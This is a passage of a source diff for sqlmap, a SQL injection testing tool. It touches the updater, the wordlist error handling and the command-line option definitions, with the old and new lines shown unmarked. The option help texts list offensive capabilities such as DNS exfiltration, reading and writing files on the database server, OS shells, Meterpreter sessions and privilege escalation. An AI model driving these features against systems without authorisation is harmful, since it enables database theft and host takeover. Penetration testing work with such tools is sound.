else:
os.remove(_)
except:
pass
if glob.glob(os.path.join(directory, '*')):
errMsg = "unable to clear the content of directory '%s'" % directory
logger.error(errMsg)
else:
try:
archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]
with zipfile.ZipFile(archive) as f:
for info in f.infolist():
info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename)
if info.filename:
f.extract(info, directory)
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
if os.path.isfile(filepath):
with open(filepath, "rb") as f:
version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
logger.info("updated to the latest version '%s#dev'" % version)
success = True
except Exception, ex:
logger.error("update could not be completed ('%s')" % getSafeExString(ex))
else:
if not success:
logger.error("update could not be completed")
else:
try:
os.chmod(os.path.join(directory, "sqlmap.py"), attrs)
except OSError:
logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
else:
infoMsg = "updating sqlmap to the latest development version from the "
infoMsg = "updating sqlmap to the latest development revision from the "
infoMsg += "GitHub repository"
logger.info(infoMsg)
@@ -42,7 +106,7 @@ def update():
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
try:
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
pollProcess(process, True)
stdout, stderr = process.communicate()
success = not process.returncode
@@ -55,7 +119,7 @@ def update():
else:
if "Not a git repository" in stderr:
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.error(errMsg)
else:
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
@@ -68,7 +132,7 @@ def update():
infoMsg += "download the latest snapshot from "
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
else:
infoMsg = "for Linux platform it's required "
infoMsg = "for Linux platform it's recommended "
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
logger.info(infoMsg)

View File

@@ -47,7 +47,7 @@ class Wordlist(object):
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % self.current
raise SqlmapDataException(errMsg)
@@ -73,7 +73,7 @@ class Wordlist(object):
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
except StopIteration:
self.adjust()
retVal = self.iter.next().rstrip()

View File

@@ -50,9 +50,7 @@ def cmdLineParser(argv=None):
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
"\"%s\"" % _ if " " in _ else _)
usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
parser = OptionParser(usage=usage)
try:
@@ -115,15 +113,13 @@ def cmdLineParser(argv=None):
request.add_option("--load-cookies", dest="loadCookies",
help="File containing cookies in Netscape/wget format")
request.add_option("--drop-set-cookie", dest="dropSetCookie",
action="store_true",
request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
help="Ignore Set-Cookie header from response")
request.add_option("--user-agent", dest="agent",
help="HTTP User-Agent header value")
request.add_option("--random-agent", dest="randomAgent",
action="store_true",
request.add_option("--random-agent", dest="randomAgent", action="store_true",
help="Use randomly selected HTTP User-Agent header value")
request.add_option("--host", dest="host",
@@ -139,62 +135,55 @@ def cmdLineParser(argv=None):
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
request.add_option("--auth-type", dest="authType",
help="HTTP authentication type "
"(Basic, Digest, NTLM or PKI)")
help="HTTP authentication type (Basic, Digest, NTLM or PKI)")
request.add_option("--auth-cred", dest="authCred",
help="HTTP authentication credentials "
"(name:password)")
help="HTTP authentication credentials (name:password)")
request.add_option("--auth-file", dest="authFile",
help="HTTP authentication PEM cert/private key file")
request.add_option("--ignore-code", dest="ignoreCode", type="int",
help="Ignore HTTP error code (e.g. 401)")
help="Ignore HTTP error code (e.g. 401)")
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
help="Ignore system default proxy settings")
request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
help="Ignore redirection attempts")
help="Ignore redirection attempts")
request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
help="Ignore connection timeouts")
help="Ignore connection timeouts")
request.add_option("--proxy", dest="proxy",
help="Use a proxy to connect to the target URL")
request.add_option("--proxy-cred", dest="proxyCred",
help="Proxy authentication credentials "
"(name:password)")
help="Proxy authentication credentials (name:password)")
request.add_option("--proxy-file", dest="proxyFile",
help="Load proxy list from a file")
request.add_option("--tor", dest="tor",
action="store_true",
help="Use Tor anonymity network")
request.add_option("--tor", dest="tor", action="store_true",
help="Use Tor anonymity network")
request.add_option("--tor-port", dest="torPort",
help="Set Tor proxy port other than default")
help="Set Tor proxy port other than default")
request.add_option("--tor-type", dest="torType",
help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
request.add_option("--check-tor", dest="checkTor",
action="store_true",
help="Check to see if Tor is used properly")
request.add_option("--check-tor", dest="checkTor", action="store_true",
help="Check to see if Tor is used properly")
request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float",
help="Seconds to wait before timeout connection "
"(default %d)" % defaults.timeout)
help="Seconds to wait before timeout connection (default %d)" % defaults.timeout)
request.add_option("--retries", dest="retries", type="int",
help="Retries when the connection timeouts "
"(default %d)" % defaults.retries)
help="Retries when the connection timeouts (default %d)" % defaults.retries)
request.add_option("--randomize", dest="rParam",
help="Randomly change value for given parameter(s)")
@@ -211,8 +200,7 @@ def cmdLineParser(argv=None):
request.add_option("--safe-freq", dest="safeFreq", type="int",
help="Test requests between two visits to a given safe URL")
request.add_option("--skip-urlencode", dest="skipUrlEncode",
action="store_true",
request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true",
help="Skip URL encoding of payload data")
request.add_option("--csrf-token", dest="csrfToken",
@@ -221,44 +209,36 @@ def cmdLineParser(argv=None):
request.add_option("--csrf-url", dest="csrfUrl",
help="URL address to visit to extract anti-CSRF token")
request.add_option("--force-ssl", dest="forceSSL",
action="store_true",
request.add_option("--force-ssl", dest="forceSSL", action="store_true",
help="Force usage of SSL/HTTPS")
request.add_option("--hpp", dest="hpp",
action="store_true",
help="Use HTTP parameter pollution method")
request.add_option("--hpp", dest="hpp", action="store_true",
help="Use HTTP parameter pollution method")
request.add_option("--eval", dest="evalCode",
help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
# Optimization options
optimization = OptionGroup(parser, "Optimization", "These "
"options can be used to optimize the "
"performance of sqlmap")
optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap")
optimization.add_option("-o", dest="optimize",
action="store_true",
help="Turn on all optimization switches")
optimization.add_option("-o", dest="optimize", action="store_true",
help="Turn on all optimization switches")
optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
help="Predict common queries output")
help="Predict common queries output")
optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
help="Use persistent HTTP(s) connections")
help="Use persistent HTTP(s) connections")
optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
help="Retrieve page length without actual HTTP response body")
help="Retrieve page length without actual HTTP response body")
optimization.add_option("--threads", dest="threads", type="int",
help="Max number of concurrent HTTP(s) "
help="Max number of concurrent HTTP(s) "
"requests (default %d)" % defaults.threads)
# Injection options
injection = OptionGroup(parser, "Injection", "These options can be "
"used to specify which parameters to test "
"for, provide custom injection payloads and "
"optional tampering scripts")
injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")
injection.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
@@ -270,36 +250,30 @@ def cmdLineParser(argv=None):
help="Skip testing parameters that not appear to be dynamic")
injection.add_option("--param-exclude", dest="paramExclude",
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
help="Force back-end DBMS to provided value")
injection.add_option("--dbms-cred", dest="dbmsCred",
help="DBMS authentication credentials (user:password)")
help="DBMS authentication credentials (user:password)")
injection.add_option("--os", dest="os",
help="Force back-end DBMS operating system "
"to this value")
help="Force back-end DBMS operating system to provided value")
injection.add_option("--invalid-bignum", dest="invalidBignum",
action="store_true",
injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
help="Use big numbers for invalidating values")
injection.add_option("--invalid-logical", dest="invalidLogical",
action="store_true",
injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true",
help="Use logical operations for invalidating values")
injection.add_option("--invalid-string", dest="invalidString",
action="store_true",
injection.add_option("--invalid-string", dest="invalidString", action="store_true",
help="Use random strings for invalidating values")
injection.add_option("--no-cast", dest="noCast",
action="store_true",
injection.add_option("--no-cast", dest="noCast", action="store_true",
help="Turn off payload casting mechanism")
injection.add_option("--no-escape", dest="noEscape",
action="store_true",
injection.add_option("--no-escape", dest="noEscape", action="store_true",
help="Turn off string escaping mechanism")
injection.add_option("--prefix", dest="prefix",
@@ -312,54 +286,40 @@ def cmdLineParser(argv=None):
help="Use given script(s) for tampering injection data")
# Detection options
detection = OptionGroup(parser, "Detection", "These options can be "
"used to customize the detection phase")
detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase")
detection.add_option("--level", dest="level", type="int",
help="Level of tests to perform (1-5, "
"default %d)" % defaults.level)
help="Level of tests to perform (1-5, default %d)" % defaults.level)
detection.add_option("--risk", dest="risk", type="int",
help="Risk of tests to perform (1-3, "
"default %d)" % defaults.risk)
help="Risk of tests to perform (1-3, default %d)" % defaults.risk)
detection.add_option("--string", dest="string",
help="String to match when "
"query is evaluated to True")
help="String to match when query is evaluated to True")
detection.add_option("--not-string", dest="notString",
help="String to match when "
"query is evaluated to False")
help="String to match when query is evaluated to False")
detection.add_option("--regexp", dest="regexp",
help="Regexp to match when "
"query is evaluated to True")
help="Regexp to match when query is evaluated to True")
detection.add_option("--code", dest="code", type="int",
help="HTTP code to match when "
"query is evaluated to True")
help="HTTP code to match when query is evaluated to True")
detection.add_option("--text-only", dest="textOnly",
action="store_true",
detection.add_option("--text-only", dest="textOnly", action="store_true",
help="Compare pages based only on the textual content")
detection.add_option("--titles", dest="titles",
action="store_true",
detection.add_option("--titles", dest="titles", action="store_true",
help="Compare pages based only on their titles")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can be "
"used to tweak testing of specific SQL "
"injection techniques")
techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques")
techniques.add_option("--technique", dest="tech",
help="SQL injection techniques to use "
"(default \"%s\")" % defaults.tech)
help="SQL injection techniques to use (default \"%s\")" % defaults.tech)
techniques.add_option("--time-sec", dest="timeSec",
type="int",
help="Seconds to delay the DBMS response "
"(default %d)" % defaults.timeSec)
techniques.add_option("--time-sec", dest="timeSec", type="int",
help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)
techniques.add_option("--union-cols", dest="uCols",
help="Range of columns to test for UNION query SQL injection")
@@ -373,59 +333,49 @@ def cmdLineParser(argv=None):
techniques.add_option("--dns-domain", dest="dnsDomain",
help="Domain name used for DNS exfiltration attack")
techniques.add_option("--second-order", dest="secondOrder",
help="Resulting page URL searched for second-order "
"response")
techniques.add_option("--second-url", dest="secondUrl",
help="Resulting page URL searched for second-order response")
techniques.add_option("--second-req", dest="secondReq",
help="Load second-order HTTP request from file")
# Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint")
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
action="store_true",
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true",
help="Perform an extensive DBMS version fingerprint")
# Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can "
"be used to enumerate the back-end database "
"management system information, structure "
"and data contained in the tables. Moreover "
"you can run your own SQL statements")
enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
enumeration.add_option("-a", "--all", dest="getAll",
action="store_true", help="Retrieve everything")
enumeration.add_option("-a", "--all", dest="getAll", action="store_true",
help="Retrieve everything")
enumeration.add_option("-b", "--banner", dest="getBanner",
action="store_true", help="Retrieve DBMS banner")
enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true",
help="Retrieve DBMS banner")
enumeration.add_option("--current-user", dest="getCurrentUser",
action="store_true",
enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true",
help="Retrieve DBMS current user")
enumeration.add_option("--current-db", dest="getCurrentDb",
action="store_true",
enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true",
help="Retrieve DBMS current database")
enumeration.add_option("--hostname", dest="getHostname",
action="store_true",
enumeration.add_option("--hostname", dest="getHostname", action="store_true",
help="Retrieve DBMS server hostname")
enumeration.add_option("--is-dba", dest="isDba",
action="store_true",
enumeration.add_option("--is-dba", dest="isDba", action="store_true",
help="Detect if the DBMS current user is DBA")
enumeration.add_option("--users", dest="getUsers", action="store_true",
help="Enumerate DBMS users")
enumeration.add_option("--passwords", dest="getPasswordHashes",
action="store_true",
enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true",
help="Enumerate DBMS users password hashes")
enumeration.add_option("--privileges", dest="getPrivileges",
action="store_true",
enumeration.add_option("--privileges", dest="getPrivileges", action="store_true",
help="Enumerate DBMS users privileges")
enumeration.add_option("--roles", dest="getRoles",
action="store_true",
enumeration.add_option("--roles", dest="getRoles", action="store_true",
help="Enumerate DBMS users roles")
enumeration.add_option("--dbs", dest="getDbs", action="store_true",
@@ -453,7 +403,7 @@ def cmdLineParser(argv=None):
help="Search column(s), table(s) and/or database name(s)")
enumeration.add_option("--comments", dest="getComments", action="store_true",
help="Retrieve DBMS comments")
help="Check for DBMS comments during enumeration")
enumeration.add_option("-D", dest="db",
help="DBMS database to enumerate")
@@ -464,16 +414,14 @@ def cmdLineParser(argv=None):
enumeration.add_option("-C", dest="col",
help="DBMS database table column(s) to enumerate")
enumeration.add_option("-X", dest="excludeCol",
help="DBMS database table column(s) to not enumerate")
enumeration.add_option("-X", dest="exclude",
help="DBMS database identifier(s) to not enumerate")
enumeration.add_option("-U", dest="user",
help="DBMS user to enumerate")
enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
action="store_true",
help="Exclude DBMS system databases when "
"enumerating tables")
enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true",
help="Exclude DBMS system databases when enumerating tables")
enumeration.add_option("--pivot-column", dest="pivotColumn",
help="Pivot column name")
@@ -496,28 +444,23 @@ def cmdLineParser(argv=None):
enumeration.add_option("--sql-query", dest="query",
help="SQL statement to be executed")
enumeration.add_option("--sql-shell", dest="sqlShell",
action="store_true",
enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
help="Prompt for an interactive SQL shell")
enumeration.add_option("--sql-file", dest="sqlFile",
help="Execute SQL statements from given file(s)")
# Brute force options
brute = OptionGroup(parser, "Brute force", "These "
"options can be used to run brute force "
"checks")
brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks")
brute.add_option("--common-tables", dest="commonTables", action="store_true",
help="Check existence of common tables")
help="Check existence of common tables")
brute.add_option("--common-columns", dest="commonColumns", action="store_true",
help="Check existence of common columns")
help="Check existence of common columns")
# User-defined function options
udf = OptionGroup(parser, "User-defined function injection", "These "
"options can be used to create custom user-defined "
"functions")
udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions")
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
help="Inject custom user-defined functions")
@@ -526,167 +469,131 @@ def cmdLineParser(argv=None):
help="Local path of the shared library")
# File system options
filesystem = OptionGroup(parser, "File system access", "These options "
"can be used to access the back-end database "
"management system underlying file system")
filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
filesystem.add_option("--file-read", dest="rFile",
help="Read a file from the back-end DBMS "
"file system")
filesystem.add_option("--file-read", dest="fileRead",
help="Read a file from the back-end DBMS file system")
filesystem.add_option("--file-write", dest="wFile",
help="Write a local file on the back-end "
"DBMS file system")
filesystem.add_option("--file-write", dest="fileWrite",
help="Write a local file on the back-end DBMS file system")
filesystem.add_option("--file-dest", dest="dFile",
help="Back-end DBMS absolute filepath to "
"write to")
filesystem.add_option("--file-dest", dest="fileDest",
help="Back-end DBMS absolute filepath to write to")
# Takeover options
takeover = OptionGroup(parser, "Operating system access", "These "
"options can be used to access the back-end "
"database management system underlying "
"operating system")
takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system")
takeover.add_option("--os-cmd", dest="osCmd",
help="Execute an operating system command")
takeover.add_option("--os-shell", dest="osShell",
action="store_true",
help="Prompt for an interactive operating "
"system shell")
takeover.add_option("--os-shell", dest="osShell", action="store_true",
help="Prompt for an interactive operating system shell")
takeover.add_option("--os-pwn", dest="osPwn",
action="store_true",
help="Prompt for an OOB shell, "
"Meterpreter or VNC")
takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
help="Prompt for an OOB shell, Meterpreter or VNC")
takeover.add_option("--os-smbrelay", dest="osSmb",
action="store_true",
help="One click prompt for an OOB shell, "
"Meterpreter or VNC")
takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
help="One click prompt for an OOB shell, Meterpreter or VNC")
takeover.add_option("--os-bof", dest="osBof",
action="store_true",
takeover.add_option("--os-bof", dest="osBof", action="store_true",
help="Stored procedure buffer overflow "
"exploitation")
takeover.add_option("--priv-esc", dest="privEsc",
action="store_true",
takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
help="Database process user privilege escalation")
takeover.add_option("--msf-path", dest="msfPath",
help="Local path where Metasploit Framework "
"is installed")
help="Local path where Metasploit Framework is installed")
takeover.add_option("--tmp-path", dest="tmpPath",
help="Remote absolute path of temporary files "
"directory")
help="Remote absolute path of temporary files directory")
# Windows registry options
windows = OptionGroup(parser, "Windows registry access", "These "
"options can be used to access the back-end "
"database management system Windows "
"registry")
windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry")
windows.add_option("--reg-read", dest="regRead",
action="store_true",
help="Read a Windows registry key value")
windows.add_option("--reg-read", dest="regRead", action="store_true",
help="Read a Windows registry key value")
windows.add_option("--reg-add", dest="regAdd",
action="store_true",
help="Write a Windows registry key value data")
windows.add_option("--reg-add", dest="regAdd", action="store_true",
help="Write a Windows registry key value data")
windows.add_option("--reg-del", dest="regDel",
action="store_true",
help="Delete a Windows registry key value")
windows.add_option("--reg-del", dest="regDel", action="store_true",
help="Delete a Windows registry key value")
windows.add_option("--reg-key", dest="regKey",
help="Windows registry key")
help="Windows registry key")
windows.add_option("--reg-value", dest="regVal",
help="Windows registry key value")
help="Windows registry key value")
windows.add_option("--reg-data", dest="regData",
help="Windows registry key value data")
help="Windows registry key value data")
windows.add_option("--reg-type", dest="regType",
help="Windows registry key value type")
help="Windows registry key value type")
# General options
general = OptionGroup(parser, "General", "These options can be used "
"to set some general working parameters")
general = OptionGroup(parser, "General", "These options can be used to set some general working parameters")
general.add_option("-s", dest="sessionFile",
help="Load session from a stored (.sqlite) file")
help="Load session from a stored (.sqlite) file")
general.add_option("-t", dest="trafficFile",
help="Log all HTTP traffic into a "
"textual file")
help="Log all HTTP traffic into a textual file")
general.add_option("--batch", dest="batch",
action="store_true",
help="Never ask for user input, use the default behavior")
general.add_option("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behavior")
general.add_option("--binary-fields", dest="binaryFields",
help="Result fields having binary values (e.g. \"digest\")")
help="Result fields having binary values (e.g. \"digest\")")
general.add_option("--check-internet", dest="checkInternet",
action="store_true",
help="Check Internet connection before assessing the target")
general.add_option("--check-internet", dest="checkInternet", action="store_true",
help="Check Internet connection before assessing the target")
general.add_option("--crawl", dest="crawlDepth", type="int",
help="Crawl the website starting from the target URL")
help="Crawl the website starting from the target URL")
general.add_option("--crawl-exclude", dest="crawlExclude",
help="Regexp to exclude pages from crawling (e.g. \"logout\")")
general.add_option("--csv-del", dest="csvDel",
help="Delimiting character used in CSV output "
"(default \"%s\")" % defaults.csvDel)
help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel)
general.add_option("--charset", dest="charset",
help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")
general.add_option("--dump-format", dest="dumpFormat",
help="Format of dumped data (CSV (default), HTML or SQLITE)")
help="Format of dumped data (CSV (default), HTML or SQLITE)")
general.add_option("--encoding", dest="encoding",
help="Character encoding used for data retrieval (e.g. GBK)")
help="Character encoding used for data retrieval (e.g. GBK)")
general.add_option("--eta", dest="eta",
action="store_true",
help="Display for each output the estimated time of arrival")
general.add_option("--eta", dest="eta", action="store_true",
help="Display for each output the estimated time of arrival")
general.add_option("--flush-session", dest="flushSession",
action="store_true",
help="Flush session files for current target")
general.add_option("--flush-session", dest="flushSession", action="store_true",
help="Flush session files for current target")
general.add_option("--forms", dest="forms",
action="store_true",
help="Parse and test forms on target URL")
general.add_option("--forms", dest="forms", action="store_true",
help="Parse and test forms on target URL")
general.add_option("--fresh-queries", dest="freshQueries",
action="store_true",
help="Ignore query results stored in session file")
general.add_option("--fresh-queries", dest="freshQueries", action="store_true",
help="Ignore query results stored in session file")
general.add_option("--har", dest="harFile",
help="Log all HTTP traffic into a HAR file")
general.add_option("--hex", dest="hexConvert",
action="store_true",
help="Use DBMS hex function(s) for data retrieval")
general.add_option("--hex", dest="hexConvert", action="store_true",
help="Use hex conversion during data retrieval")
general.add_option("--output-dir", dest="outputDir",
action="store",
help="Custom output directory path")
general.add_option("--output-dir", dest="outputDir", action="store",
help="Custom output directory path")
general.add_option("--parse-errors", dest="parseErrors",
action="store_true",
help="Parse and display DBMS error messages from responses")
general.add_option("--parse-errors", dest="parseErrors", action="store_true",
help="Parse and display DBMS error messages from responses")
general.add_option("--save", dest="saveConfig",
help="Save options to a configuration INI file")
help="Save options to a configuration INI file")
general.add_option("--scope", dest="scope",
help="Regexp to filter targets from provided proxy log")
@@ -697,77 +604,68 @@ def cmdLineParser(argv=None):
general.add_option("--test-skip", dest="testSkip",
help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
general.add_option("--update", dest="updateAll",
action="store_true",
help="Update sqlmap")
general.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap")
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("-z", dest="mnemonics",
help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
miscellaneous.add_option("--alert", dest="alert",
help="Run host OS command(s) when SQL injection is found")
help="Run host OS command(s) when SQL injection is found")
miscellaneous.add_option("--answers", dest="answers",
help="Set question answers (e.g. \"quit=N,follow=N\")")
help="Set question answers (e.g. \"quit=N,follow=N\")")
miscellaneous.add_option("--beep", dest="beep", action="store_true",
help="Beep on question and/or when SQL injection is found")
help="Beep on question and/or when SQL injection is found")
miscellaneous.add_option("--cleanup", dest="cleanup",
action="store_true",
help="Clean up the DBMS from sqlmap specific "
"UDF and tables")
miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
help="Clean up the DBMS from sqlmap specific UDF and tables")
miscellaneous.add_option("--dependencies", dest="dependencies",
action="store_true",
help="Check for missing (non-core) sqlmap dependencies")
miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
help="Check for missing (non-core) sqlmap dependencies")
miscellaneous.add_option("--disable-coloring", dest="disableColoring",
action="store_true",
help="Disable console output coloring")
miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
help="Disable console output coloring")
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
help="Use Google dork results from specified page number")
help="Use Google dork results from specified page number")
miscellaneous.add_option("--identify-waf", dest="identifyWaf",
action="store_true",
help="Make a thorough testing for a WAF/IPS/IDS protection")
miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
help="Make a thorough testing for a WAF/IPS/IDS protection")
miscellaneous.add_option("--mobile", dest="mobile",
action="store_true",
help="Imitate smartphone through HTTP User-Agent header")
miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
help="Display list of available tamper scripts")
miscellaneous.add_option("--offline", dest="offline",
action="store_true",
help="Work in offline mode (only use session data)")
miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
help="Imitate smartphone through HTTP User-Agent header")
miscellaneous.add_option("--purge-output", dest="purgeOutput",
action="store_true",
help="Safely remove all content from output directory")
miscellaneous.add_option("--offline", dest="offline", action="store_true",
help="Work in offline mode (only use session data)")
miscellaneous.add_option("--skip-waf", dest="skipWaf",
action="store_true",
help="Skip heuristic detection of WAF/IPS/IDS protection")
miscellaneous.add_option("--purge", dest="purge", action="store_true",
help="Safely remove all content from sqlmap data directory")
miscellaneous.add_option("--smart", dest="smart",
action="store_true",
help="Conduct thorough tests only if positive heuristic(s)")
miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
help="Skip heuristic detection of WAF/IPS/IDS protection")
miscellaneous.add_option("--smart", dest="smart", action="store_true",
help="Conduct thorough tests only if positive heuristic(s)")
miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
help="Prompt for an interactive sqlmap shell")
help="Prompt for an interactive sqlmap shell")
miscellaneous.add_option("--tmp-dir", dest="tmpDir",
help="Local directory for storing temporary files")
help="Local directory for storing temporary files")
miscellaneous.add_option("--web-root", dest="webRoot",
help="Web server document root directory (e.g. \"/var/www\")")
help="Web server document root directory (e.g. \"/var/www\")")
miscellaneous.add_option("--wizard", dest="wizard",
action="store_true",
help="Simple wizard interface for beginner users")
miscellaneous.add_option("--wizard", dest="wizard", action="store_true",
help="Simple wizard interface for beginner users")
# Hidden and/or experimental options
parser.add_option("--dummy", dest="dummy", action="store_true",
@@ -791,6 +689,9 @@ def cmdLineParser(argv=None):
parser.add_option("--force-dns", dest="forceDns", action="store_true",
help=SUPPRESS_HELP)
parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true",
help=SUPPRESS_HELP)
parser.add_option("--force-threads", dest="forceThreads", action="store_true",
help=SUPPRESS_HELP)
@@ -909,7 +810,7 @@ def cmdLineParser(argv=None):
for arg in shlex.split(command):
argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
except ValueError, ex:
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)
for i in xrange(len(argv)):
if argv[i] == "-hh":
@@ -976,11 +877,9 @@ def cmdLineParser(argv=None):
if args.dummy:
args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
args.purgeOutput, args.sitemapUrl)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
errMsg += "use -h for basic or -hh for advanced help\n"
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg)
return args

View File

@@ -13,7 +13,6 @@ from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
def headersParser(headers):
"""
This function calls a class that parses the input HTTP headers to
@@ -24,18 +23,16 @@ def headersParser(headers):
if not kb.headerPaths:
kb.headerPaths = {
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"),
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"),
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
